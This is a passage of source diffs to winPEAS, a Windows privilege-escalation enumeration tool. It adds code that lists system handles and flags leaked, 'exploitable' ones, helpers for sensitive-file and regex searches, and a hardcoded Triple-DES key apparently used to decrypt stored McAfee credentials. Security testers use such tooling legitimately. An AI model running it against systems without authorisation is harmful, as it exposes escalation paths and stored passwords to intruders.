Filename = filename; Filename = filename;
Extension = extension; Extension = extension;
FullPath = fullPath; FullPath = fullPath;
Size = size;
IsDirectory = isDirectory; IsDirectory = isDirectory;
} }
} }

View File

@@ -0,0 +1,601 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading.Tasks;
namespace winPEAS.Helpers
{
internal class HandlesHelper
{
private const int CNST_SYSTEM_EXTENDED_HANDLE_INFORMATION = 64;
public const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
public const int DUPLICATE_SAME_ACCESS = 0x2;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct FILE_NAME_INFO
{
public int FileNameLength;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 1000)]
public string FileName;
}
[StructLayout(LayoutKind.Sequential)]
public struct THREAD_BASIC_INFORMATION
{
public uint ExitStatus;
public IntPtr TebBaseAdress;
public CLIENT_ID ClientId;
public uint AffinityMask;
public uint Priority;
public uint BasePriority;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public int UniqueProcess;
public int UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public int ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public int BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
public IntPtr Object;
public UIntPtr UniqueProcessId;
public IntPtr HandleValue;
public uint GrantedAccess;
public ushort CreatorBackTraceIndex;
public ushort ObjectTypeIndex;
public uint HandleAttributes;
public uint Reserved;
}
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x1000,
Synchronize = 0x00100000
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_BASIC_INFORMATION
{ // Information Class 0
public int Attributes;
public int GrantedAccess;
public int HandleCount;
public int PointerCount;
public int PagedPoolUsage;
public int NonPagedPoolUsage;
public int Reserved1;
public int Reserved2;
public int Reserved3;
public int NameInformationLength;
public int TypeInformationLength;
public int SecurityDescriptorLength;
public System.Runtime.InteropServices.ComTypes.FILETIME CreateTime;
}
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_NAME_INFORMATION
{ // Information Class 1
public UNICODE_STRING Name;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_TYPE_INFORMATION
{ // Information Class 1
public UNICODE_STRING Name;
public ulong TotalNumberOfObjects;
public ulong TotalNumberOfHandles;
}
public enum ObjectInformationClass : int
{
ObjectBasicInformation = 0,
ObjectNameInformation = 1,
ObjectTypeInformation = 2,
ObjectAllTypesInformation = 3,
ObjectHandleInformation = 4
}
public struct VULNERABLE_HANDLER_INFO
{
public string handlerType;
public bool isVuln;
public string reason;
}
public struct PT_RELEVANT_INFO
{
public int pid;
public string name;
public string imagePath;
public string userName;
public string userSid;
}
public struct KEY_RELEVANT_INFO
{
public string hive;
public string path;
}
// Check if the given handler is exploitable
public static VULNERABLE_HANDLER_INFO checkExploitaible(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX h, string typeName)
{
VULNERABLE_HANDLER_INFO vulnHandler = new VULNERABLE_HANDLER_INFO();
vulnHandler.handlerType = typeName;
if (typeName == "process")
{
// Hex perms from https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights and https://github.com/buffer/maltracer/blob/master/defines.py
//PROCESS_ALL_ACCESS
if ((h.GrantedAccess & 0x001F0FFF) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "PROCESS_ALL_ACCESS";
}
//PROCESS_CREATE_PROCESS
else if ((h.GrantedAccess & 0x0080) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "PROCESS_CREATE_PROCESS";
}
//PROCESS_CREATE_THREAD
else if ((h.GrantedAccess & 0x0002) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "PROCESS_CREATE_THREAD";
}
//PROCESS_DUP_HANDLE
else if ((h.GrantedAccess & 0x0040) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "PROCESS_DUP_HANDLE";
}
//PROCESS_VM_WRITE
else if ((h.GrantedAccess & 0x0020) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "PROCESS_VM_WRITE";
if ((h.GrantedAccess & 0x0010) == h.GrantedAccess)
vulnHandler.reason += "& PROCESS_VM_READ";
if ((h.GrantedAccess & 0x0008) == h.GrantedAccess)
vulnHandler.reason += "& PROCESS_VM_OPERATION";
}
}
else if (typeName == "thread")
{
// Codes from https://docs.microsoft.com/en-us/windows/win32/procthread/thread-security-and-access-rights and https://github.com/x0r19x91/code-injection/blob/master/inject.asm
//THREAD_ALL_ACCESS
if ((h.GrantedAccess & 0x1f03ff) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "THREAD_ALL_ACCESS";
}
//THREAD_DIRECT_IMPERSONATION
else if ((h.GrantedAccess & 0x0200) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "THREAD_DIRECT_IMPERSONATION";
}
//THREAD_GET_CONTEXT & THREAD_SET_CONTEXT
else if (((h.GrantedAccess & 0x0008) == h.GrantedAccess) && ((h.GrantedAccess & 0x0010) == h.GrantedAccess))
{
vulnHandler.isVuln = true;
vulnHandler.reason = "THREAD_GET_CONTEXT & THREAD_SET_CONTEXT";
}
}
else if (typeName == "file")
{
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
if (perm != null && perm.Length> 0)
{
vulnHandler.isVuln = true;
vulnHandler.reason = perm;
}
}
else if (typeName == "key")
{
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT_REG);
if (perm != null && perm.Length > 0)
{
vulnHandler.isVuln = true;
vulnHandler.reason = perm;
}
}
else if (typeName == "section")
{
// Perms from
// https://docs.microsoft.com/en-us/windows/win32/secauthz/standard-access-rights
// https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format
// https://github.com/lab52io/LeakedHandlesFinder/blob/master/LeakedHandlesFinder/LeakedHandlesFinder.cpp
//MAP_WRITE
if ((h.GrantedAccess & 0x2) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "MAP_WRITE (Research Needed)";
}
//DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER = STANDARD_RIGHTS_ALL
else if ((h.GrantedAccess & 0xf0000) == h.GrantedAccess)
{
vulnHandler.isVuln = true;
vulnHandler.reason = "STANDARD_RIGHTS_ALL (Research Needed)";
}
}
return vulnHandler;
}
// Given a found handler get what type is it.
public static string GetObjectType(IntPtr handle)
{
OBJECT_TYPE_INFORMATION basicType = new OBJECT_TYPE_INFORMATION();
try
{
IntPtr _basic = IntPtr.Zero;
string name;
int nameLength = 0;
try
{
_basic = Marshal.AllocHGlobal(0x1000);
Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectTypeInformation, _basic, 0x1000, ref nameLength);
basicType = (OBJECT_TYPE_INFORMATION)Marshal.PtrToStructure(_basic, basicType.GetType());
name = Marshal.PtrToStringUni(basicType.Name.Buffer, basicType.Name.Length >> 1);
return name;
}
finally
{
if (_basic != IntPtr.Zero)
Marshal.FreeHGlobal(_basic);
}
}
catch { }
return null;
}
// Get the name of the handler (if any)
public static string GetObjectName(IntPtr handle)
{
OBJECT_BASIC_INFORMATION basicInfo = new OBJECT_BASIC_INFORMATION();
try
{
IntPtr _basic = IntPtr.Zero;
int nameLength = 0;
try
{
_basic = Marshal.AllocHGlobal(Marshal.SizeOf(basicInfo));
Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectBasicInformation, _basic, Marshal.SizeOf(basicInfo), ref nameLength);
basicInfo = (OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(_basic, basicInfo.GetType());
nameLength = basicInfo.NameInformationLength;
}
finally
{
if (_basic != IntPtr.Zero)
Marshal.FreeHGlobal(_basic);
}
if (nameLength == 0)
{
return null;
}
OBJECT_NAME_INFORMATION nameInfo = new OBJECT_NAME_INFORMATION();
IntPtr _objectName = Marshal.AllocHGlobal(nameLength);
try
{
while ((uint)(Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectNameInformation, _objectName, nameLength, ref nameLength)) == STATUS_INFO_LENGTH_MISMATCH)
{
Marshal.FreeHGlobal(_objectName);
_objectName = Marshal.AllocHGlobal(nameLength);
}
nameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(_objectName, nameInfo.GetType());
}
finally
{
Marshal.FreeHGlobal(_objectName);
}
try
{
if (nameInfo.Name.Length > 0)
return Marshal.PtrToStringUni(nameInfo.Name.Buffer, nameInfo.Name.Length >> 1);
}
catch
{
}
return null;
}
catch { return null; }
}
// Get all handlers inside the system
public static List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> GetAllHandlers()
{
bool is_64 = Marshal.SizeOf(typeof(IntPtr)) == 8 ? true : false;
int infoLength = 0x10000;
int length = 0;
IntPtr _info = Marshal.AllocHGlobal(infoLength);
IntPtr _handle = IntPtr.Zero;
long handleCount = 0;
// Try to find the size
while ((Native.Ntdll.NtQuerySystemInformation(CNST_SYSTEM_EXTENDED_HANDLE_INFORMATION, _info, infoLength, ref length)) == STATUS_INFO_LENGTH_MISMATCH)
{
infoLength = length;
Marshal.FreeHGlobal(_info);
_info = Marshal.AllocHGlobal(infoLength);
}
if (is_64)
{
handleCount = Marshal.ReadInt64(_info);
_handle = new IntPtr(_info.ToInt64() + 16);
}
else
{
handleCount = Marshal.ReadInt32(_info);
_handle = new IntPtr(_info.ToInt32() + 8);
}
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo = new SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX();
List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> handles = new List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>();
int infoSize = Marshal.SizeOf(handleInfo);
Type infoType = handleInfo.GetType();
for (long i = 0; i < handleCount; i++)
{
if (is_64)
{
handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(_handle, infoType);
_handle = new IntPtr(_handle.ToInt64() + infoSize);
}
else
{
handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(_handle, infoType);
_handle = new IntPtr(_handle.ToInt32() + infoSize);
}
handles.Add(handleInfo);
}
return handles;
}
// Get the owner of a process given the PID
public static Dictionary<string, string> GetProcU(Process p)
{
Dictionary<string, string> data = new Dictionary<string, string>();
data["name"] = "";
data["sid"] = "";
IntPtr pHandle = IntPtr.Zero;
try
{
Native.Advapi32.OpenProcessToken(p.Handle, 8, out pHandle);
WindowsIdentity WI = new WindowsIdentity(pHandle);
string uSEr = WI.Name;
string sid = WI.User.Value;
data["name"] = uSEr.Contains(@"\") ? uSEr.Substring(uSEr.IndexOf(@"\") + 1) : uSEr;
data["sid"] = sid;
return data;
}
catch
{
return data;
}
finally
{
if (pHandle != IntPtr.Zero)
{
Native.Kernel32.CloseHandle(pHandle);
}
}
}
// Get info of the process given the PID
public static PT_RELEVANT_INFO getProcInfoById(int pid)
{
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
Process proc = Process.GetProcessById(pid);
Dictionary<string,string> user = GetProcU(proc);
StringBuilder fileName = new StringBuilder(2000);
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
pri.pid = pid;
pri.name = proc.ProcessName;
pri.userName = user["name"];
pri.userSid = user["sid"];
pri.imagePath = fileName.ToString();
return pri;
}
// Get information of a handler of type process
public static PT_RELEVANT_INFO getProcessHandlerInfo(IntPtr handle)
{
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
IntPtr[] pbi_arr = new IntPtr[6];
int pid;
int retLength = 0;
// Try to find the size
uint status = (uint)Native.Ntdll.NtQueryInformationProcess(handle, 0, pbi_arr, 48, ref retLength);
if (status == 0)
{
//pbi.ExitStatus = (int)pbi_arr[0];
//pbi.PebBaseAddress = pbi_arr[1];
//pbi.AffinityMask = pbi_arr[2];
//pbi.BasePriority = (int)pbi_arr[3];
pbi.UniqueProcessId = pbi_arr[4];
//pbi.InheritedFromUniqueProcessId = pbi_arr[5];
pid = (int)pbi.UniqueProcessId;
}
else
{
pid = (int)Native.Kernel32.GetProcessId(handle);
}
if (pid == 0)
return pri;
return getProcInfoById(pid);
}
// Get information of a handler of type thread
public static PT_RELEVANT_INFO getThreadHandlerInfo(IntPtr handle)
{
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
THREAD_BASIC_INFORMATION tbi = new THREAD_BASIC_INFORMATION();
IntPtr[] tbi_arr = new IntPtr[6];
int pid;
/* You could also get the PID using this method
int retLength = 0;
uint status = (uint)NtQueryInformationThread(handle, 0, tbi_arr, 48, ref retLength);
if (status != 0)
{
return pri;
}
pid = (int)GetProcessIdOfThread(handle);
CLIENT_ID ci = new CLIENT_ID();
tbi.ExitStatus = (uint)tbi_arr[0];
tbi.TebBaseAdress = tbi_arr[1];
tbi.ClientId = tbi_arr[2];
tbi.AffinityMask = (uint)tbi_arr[3];
tbi.Priority = (uint)tbi_arr[4];
tbi.BasePriority = (uint)tbi_arr[5];*/
pid = (int)Native.Kernel32.GetProcessIdOfThread(handle);
if (pid == 0)
return pri;
return getProcInfoById(pid);
}
// Get information of a handler of type key
public static KEY_RELEVANT_INFO getKeyHandlerInfo(IntPtr handle)
{
KEY_RELEVANT_INFO kri = new KEY_RELEVANT_INFO();
int retLength = 0;
// Get KeyNameInformation (3)
uint status = (uint)Native.Ntdll.NtQueryKey(handle, 3, null, 0, ref retLength);
var keyInformation = new byte[retLength];
status = (uint)Native.Ntdll.NtQueryKey(handle, 3, keyInformation, retLength, ref retLength);
string path = Encoding.Unicode.GetString(keyInformation, 4, keyInformation.Length - 4).ToLower();
string hive = "";
// https://groups.google.com/g/comp.os.ms-windows.programmer.win32/c/nCs-9zFRm6I
if (path.StartsWith(@"\registry\machine"))
{
path = path.Replace(@"\registry\machine", "");
hive = "HKLM";
}
else if (path.StartsWith(@"\registry\user"))
{
path = path.Replace(@"\registry\user", "");
hive = "HKU";
}
else
{ // This shouldn't be needed
if (path.StartsWith("\\"))
path = path.Substring(1);
hive = Helpers.Registry.RegistryHelper.CheckIfExists(path);
}
if (path.StartsWith("\\"))
path = path.Substring(1);
kri.hive = hive;
kri.path = path;
return kri;
}
}
}

View File

@@ -0,0 +1,88 @@
using System;
using System.Text;
using System.Threading;
namespace winPEAS.Helpers
{
internal class ProgressBar : IDisposable, IProgress<double>
{
private const int blockCount = 10;
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
private const string animation = @"|/-\";
private readonly Timer timer;
private double currentProgress = 0;
private string currentText = string.Empty;
private bool disposed = false;
private int animationIndex = 0;
public ProgressBar()
{
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
}
public void Report(double value)
{
// Make sure value is in [0..1] range
value = Math.Max(0, Math.Min(1, value));
Interlocked.Exchange(ref currentProgress, value);
}
private void TimerHandler(object state)
{
lock (timer)
{
if (disposed) return;
int progressBlockCount = (int)(currentProgress * blockCount);
int percent = (int)(currentProgress * 100);
string text = string.Format("[{0}{1}] {2,3}% {3}",
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
percent,
animation[animationIndex++ % animation.Length]);
UpdateText(text);
}
}
private void UpdateText(string text)
{
// Get length of common portion
int commonPrefixLength = 0;
int commonLength = Math.Min(currentText.Length, text.Length);
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
{
commonPrefixLength++;
}
// Backtrack to the first differing character
StringBuilder outputBuilder = new StringBuilder();
outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
// Output new suffix
outputBuilder.Append(text.Substring(commonPrefixLength));
// If the new text is shorter than the old one: delete overlapping characters
int overlapCount = currentText.Length - text.Length;
if (overlapCount > 0)
{
outputBuilder.Append(' ', overlapCount);
outputBuilder.Append('\b', overlapCount);
}
Console.Write(outputBuilder);
currentText = text;
}
public void Dispose()
{
lock (timer)
{
disposed = true;
UpdateText(string.Empty);
timer.Dispose();
}
}
}
}

View File

@@ -12,6 +12,18 @@ namespace winPEAS.Helpers.Registry
/////////////////////////////////////////// ///////////////////////////////////////////
/// Functions related to obtain keys and values from the registry /// Functions related to obtain keys and values from the registry
/// Some parts adapted from Seatbelt /// Some parts adapted from Seatbelt
public static Microsoft.Win32.RegistryKey GetReg(string hive, string path)
{
if (hive == "HKCU")
return Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);
else if (hive == "HKU")
return Microsoft.Win32.Registry.Users.OpenSubKey(path);
else
return Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);
}
public static string GetRegValue(string hive, string path, string value) public static string GetRegValue(string hive, string path, string value)
{ {
// returns a single registry value under the specified path in the specified hive (HKLM/HKCU) // returns a single registry value under the specified path in the specified hive (HKLM/HKCU)
@@ -174,5 +186,29 @@ namespace winPEAS.Helpers.Registry
return null; return null;
} }
public static string CheckIfExists(string path)
{
try
{
var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path);
if (key != null)
return "HKLM";
key = Microsoft.Win32.Registry.Users.OpenSubKey(path);
if (key != null)
return "HKU";
key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path);
if (key != null)
return "HKCU";
return null;
}
catch
{
return null;
}
}
} }
} }

View File

@@ -20,11 +20,31 @@ namespace winPEAS.Helpers.Search
public static string SystemDrive = Environment.GetEnvironmentVariable("SystemDrive"); public static string SystemDrive = Environment.GetEnvironmentVariable("SystemDrive");
private static string GlobalPattern = "*"; private static string GlobalPattern = "*";
public static List<string> StaticExtensions = new List<string>() {
// archives
".7z", ".tar", ".zip", ".gz",
// audio/video
".avi", ".mp3", ".mp4", ".wav", ".wmf", ".wmv", ".ts", ".pak",
// icons
".ico",
// fonts
".eot", ".fnt", ".fon", ".otf", ".odttf", ".ttc", ".ttf", ".woff", "woff2", "woff3",
// images
".bmp", ".emf", ".gif", ".pm",
".jif", ".jfi", ".jfif", ".jpe", ".jpeg", ".jpg",
".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp",
};
public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false) public static List<CustomFileInfo> GetFilesFast(string folder, string pattern = "*", HashSet<string> excludedDirs = null, bool isFoldersIncluded = false)
{ {
ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>(); ConcurrentBag<CustomFileInfo> files = new ConcurrentBag<CustomFileInfo>();
IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded); IEnumerable<DirectoryInfo> startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded);
IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>(); IList<DirectoryInfo> startDirsExcluded = new List<DirectoryInfo>();
IList<string> known_dirs = new List<string>();
if (excludedDirs != null) if (excludedDirs != null)
{ {
@@ -52,8 +72,27 @@ namespace winPEAS.Helpers.Search
{ {
GetFiles(dir.FullName, pattern).ForEach( GetFiles(dir.FullName, pattern).ForEach(
(f) => (f) =>
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, false)) {
); if (!StaticExtensions.Contains(f.Extension.ToLower()))
{
// It should always be lesss than 260, but some times it isn't so this will bypass that file
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
{
CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false);
files.Add(file_info);
CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true);
if (!known_dirs.Contains(file_dir.FullPath))
{
known_dirs.Add(file_dir.FullPath);
files.Add(file_dir);
}
}
else if (f.FullName.Length > 260)
Beaprint.LongPathWarning(f.FullName);
}
}
) ;
}); });
}); });
@@ -132,13 +171,24 @@ namespace winPEAS.Helpers.Search
{ {
foreach (var directory in directories) foreach (var directory in directories)
{ {
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, true)); if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260)
files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true));
else if (directory.FullName.Length > 260)
Beaprint.LongPathWarning(directory.FullName);
} }
} }
foreach (var f in dirInfo.GetFiles(pattern)) foreach (var f in dirInfo.GetFiles(pattern))
{ {
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, false)); if (!StaticExtensions.Contains(f.Extension.ToLower()))
{
if (Checks.Checks.IsLongPath || f.FullName.Length <= 260)
files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false));
else if (f.FullName.Length > 260)
Beaprint.LongPathWarning(f.FullName);
}
} }
if (directories.Length > 1) return new List<DirectoryInfo>(directories); if (directories.Length > 1) return new List<DirectoryInfo>(directories);
@@ -175,29 +225,28 @@ namespace winPEAS.Helpers.Search
// c:\users\current_user // c:\users\current_user
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE"); string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern); SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
// c:\Program Files\ // c:\Program Files\
string rootProgramFiles = $"{SystemDrive}\\Program Files\\"; string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern); SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
// c:\Program Files (x86)\ // c:\Program Files (x86)\
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\"; string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern); SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
// c:\Documents and Settings\ // c:\Documents and Settings\
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\"; string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern); SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
// c:\ProgramData\Microsoft\Group Policy\History // c:\ProgramData\Microsoft\Group Policy\History
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History"; string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern); SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History // c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History"; string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern); //SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern); var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles); SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
} }

View File

@@ -2,6 +2,24 @@
namespace winPEAS.Helpers.YamlConfig namespace winPEAS.Helpers.YamlConfig
{ {
public class YamlRegexConfig
{
public class RegularExpressions
{
public string name { get; set; }
public RegularExpression[] regexes { get; set; }
public class RegularExpression {
public string name { get; set; }
public string regex { get; set; }
public bool caseinsensitive { get; set; }
public string disable { get; set; }
}
}
public RegularExpressions[] regular_expresions { get; set; }
}
public class YamlConfig public class YamlConfig
{ {
@@ -24,6 +42,7 @@ namespace winPEAS.Helpers.YamlConfig
public bool? remove_empty_lines { get; set; } public bool? remove_empty_lines { get; set; }
// public string remove_path { get; set; } // not used in Winpeas // public string remove_path { get; set; } // not used in Winpeas
public string remove_regex { get; set; } public string remove_regex { get; set; }
public string remove_path { get; set; }
// public string[] search_in { get; set; } // not used in Winpeas // public string[] search_in { get; set; } // not used in Winpeas
public string type { get; set; } public string type { get; set; }
public FileParam[] files { get; set; } public FileParam[] files { get; set; }

View File

@@ -4,13 +4,49 @@ using System.IO;
using System.Reflection; using System.Reflection;
using System.Linq; using System.Linq;
using static winPEAS.Helpers.YamlConfig.YamlConfig; using static winPEAS.Helpers.YamlConfig.YamlConfig;
using static winPEAS.Helpers.YamlConfig.YamlRegexConfig;
namespace winPEAS.Helpers.YamlConfig namespace winPEAS.Helpers.YamlConfig
{ {
internal class YamlConfigHelper internal class YamlConfigHelper
{ {
const string REGEXES_FILES = "regexes.yaml";
const string SENSITIVE_FILES = "sensitive_files.yaml"; const string SENSITIVE_FILES = "sensitive_files.yaml";
public static YamlRegexConfig GetRegexesSearchConfig()
{
var assembly = Assembly.GetExecutingAssembly();
var resourceName = assembly.GetManifestResourceNames().Where(i => i.EndsWith(REGEXES_FILES)).FirstOrDefault();
try
{
using (Stream stream = assembly.GetManifestResourceStream(resourceName))
using (StreamReader reader = new StreamReader(stream))
{
string configFileContent = reader.ReadToEnd();
YamlSerializer yamlSerializer = new YamlSerializer();
YamlRegexConfig yamlConfig = (YamlRegexConfig)yamlSerializer.Deserialize(configFileContent, typeof(YamlRegexConfig))[0];
// check
if (yamlConfig.regular_expresions == null || yamlConfig.regular_expresions.Length == 0)
{
throw new System.Exception("No configuration was read");
}
return yamlConfig;
}
}
catch (System.Exception e)
{
Beaprint.PrintException($"An exception occured while parsing regexes.yaml configuration file: {e.Message}");
throw;
}
}
public static YamlConfig GetWindowsSearchConfig() public static YamlConfig GetWindowsSearchConfig()
{ {
var assembly = Assembly.GetExecutingAssembly(); var assembly = Assembly.GetExecutingAssembly();
@@ -52,7 +88,7 @@ namespace winPEAS.Helpers.YamlConfig
} }
catch (System.Exception e) catch (System.Exception e)
{ {
Beaprint.PrintException($"An exception occured while parsing YAML configuration file: {e.Message}"); Beaprint.PrintException($"An exception occured while parsing sensitive_files.yaml configuration file: {e.Message}");
throw; throw;
} }
@@ -78,6 +114,7 @@ namespace winPEAS.Helpers.YamlConfig
value.only_bad_lines = GetValueOrDefault(value.only_bad_lines, defaults.only_bad_lines); value.only_bad_lines = GetValueOrDefault(value.only_bad_lines, defaults.only_bad_lines);
value.remove_empty_lines = GetValueOrDefault(value.remove_empty_lines, defaults.remove_empty_lines); value.remove_empty_lines = GetValueOrDefault(value.remove_empty_lines, defaults.remove_empty_lines);
value.remove_regex = GetValueOrDefault(value.remove_regex, defaults.remove_regex); value.remove_regex = GetValueOrDefault(value.remove_regex, defaults.remove_regex);
value.remove_path = GetValueOrDefault(value.remove_path, defaults.remove_path);
value.type = GetValueOrDefault(value.type, defaults.type).ToLower(); value.type = GetValueOrDefault(value.type, defaults.type).ToLower();
if (value.files != null) if (value.files != null)

View File

@@ -135,7 +135,8 @@ namespace winPEAS.Info.FilesInfo.McAfee
SHA1 crypto = new SHA1CryptoServiceProvider(); SHA1 crypto = new SHA1CryptoServiceProvider();
var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 }); //var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 };
// set the options we need // set the options we need
var tDESalg = new TripleDESCryptoServiceProvider(); var tDESalg = new TripleDESCryptoServiceProvider();

View File

@@ -348,6 +348,12 @@ namespace winPEAS.Info.NetworkInfo
